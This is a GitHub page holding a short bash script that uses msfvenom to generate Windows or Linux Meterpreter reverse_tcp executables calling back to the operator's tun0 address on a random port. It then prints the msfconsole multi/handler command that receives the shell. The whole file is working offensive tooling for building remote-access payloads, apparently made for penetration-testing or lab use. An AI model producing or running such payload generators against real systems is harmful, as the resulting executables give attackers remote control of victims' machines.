scripts/gen_meterpreter at master · pidone/scripts · GitHub

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#!/bin/bash

PORT=$(shuf -i 4000-5000 -n1)
OUTPUT="mp"

usage() {
	echo "$0 <l[inux]|win[dows]> [-a x64|x86]"
	exit 1
}


platform=$1; shift
arch="x64"
while getopts "ha:p:o:" o; do
    case "${o}" in
        a)
            arch=${OPTARG}
            ;;
	p)
	    PORT=${OPTARG}
	    ;;
	o)
	    OUTPUT=${OPTARG}
	    ;;
        h | *)
            usage
            ;;
    esac
done
shift $((OPTIND-1))

if [ -z "${platform}" ] || [ -z "${arch}" ]; then
    usage
fi

generate() {
  platform=$1
  arch=$2
	payload_kind=$3
	format=$4
  payload="$platform$payload_kind"

	echo "Generating $platform $arch meterpreter executable for port $PORT."
	echo "Output: $OUTPUT"
	msfvenom -a $arch --platform $platform -p "$payload" LHOST=tun0 LPORT=$PORT -f $format -o $OUTPUT
	echo "msfconsole -x 'use exploit/multi/handler;set payload $payload;set LHOST tun0;set LPORT $PORT;exploit'"
}

generate_windows() {
  if [[ $arch -eq 'x86' ]];then
	  generate "windows" $arch "/meterpreter/reverse_tcp" "exe"
  else
	  generate "windows" $arch "/$arch/meterpreter/reverse_tcp" "exe"
  fi
}

generate_linux() {
	generate "linux" $arch "/$arch/meterpreter/reverse_tcp" "elf"
}


case "$platform" in
	win | windows)
		generate_windows
		;;
	l | linux)
		generate_linux
		;;
  *)
    usage
    ;;
esac